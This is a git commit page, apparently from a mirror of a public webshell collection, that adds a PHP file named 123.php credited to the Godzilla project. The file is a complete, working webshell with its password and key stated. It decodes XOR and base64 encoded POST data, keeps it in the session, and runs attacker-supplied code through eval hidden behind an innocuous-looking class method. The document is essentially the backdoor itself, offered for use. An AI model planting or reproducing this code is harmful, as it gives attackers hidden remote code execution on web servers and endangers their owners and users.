mirror of
https://github.com/tennc/webshell
synced 2024-11-24 20:23:04 +00:00
Create 123.php
pass:123,key:123 from: https://github.com/BeichenDream/Godzilla/ author: BeichenDream 👍
This commit is contained in:
parent
9b50a0cb22
commit
245ef6f2a3
1 changed files with 34 additions and 0 deletions
34
Godzilla/123.php
Normal file
34
Godzilla/123.php
Normal file
|
@ -0,0 +1,34 @@
|
|||
<?php
|
||||
session_start();
|
||||
@set_time_limit(0);
|
||||
@error_reporting(0);
|
||||
function E($D,$K){
|
||||
for($i=0;$i<strlen($D);$i++) {
|
||||
$D[$i] = $D[$i]^$K[$i+1&15];
|
||||
}
|
||||
return $D;
|
||||
}
|
||||
function Q($D){
|
||||
return base64_encode($D);
|
||||
}
|
||||
function O($D){
|
||||
return base64_decode($D);
|
||||
}
|
||||
$P='123';
|
||||
$V='payload';
|
||||
$T='202cb962ac59075b';
|
||||
if (isset($_POST[$P])){
|
||||
$F=O(E(O($_POST[$P]),$T));
|
||||
if (isset($_SESSION[$V])){
|
||||
$L=$_SESSION[$V];
|
||||
$A=explode('|',$L);
|
||||
class C{public function nvoke($p) {eval($p."");}}
|
||||
$R=new C();
|
||||
$R->nvoke($A[0]);
|
||||
echo substr(md5($P.$T),0,16);
|
||||
echo Q(E(@run($F),$T));
|
||||
echo substr(md5($P.$T),16);
|
||||
}else{
|
||||
$_SESSION[$V]=$F;
|
||||
}
|
||||
}
|
Loading…
Reference in a new issue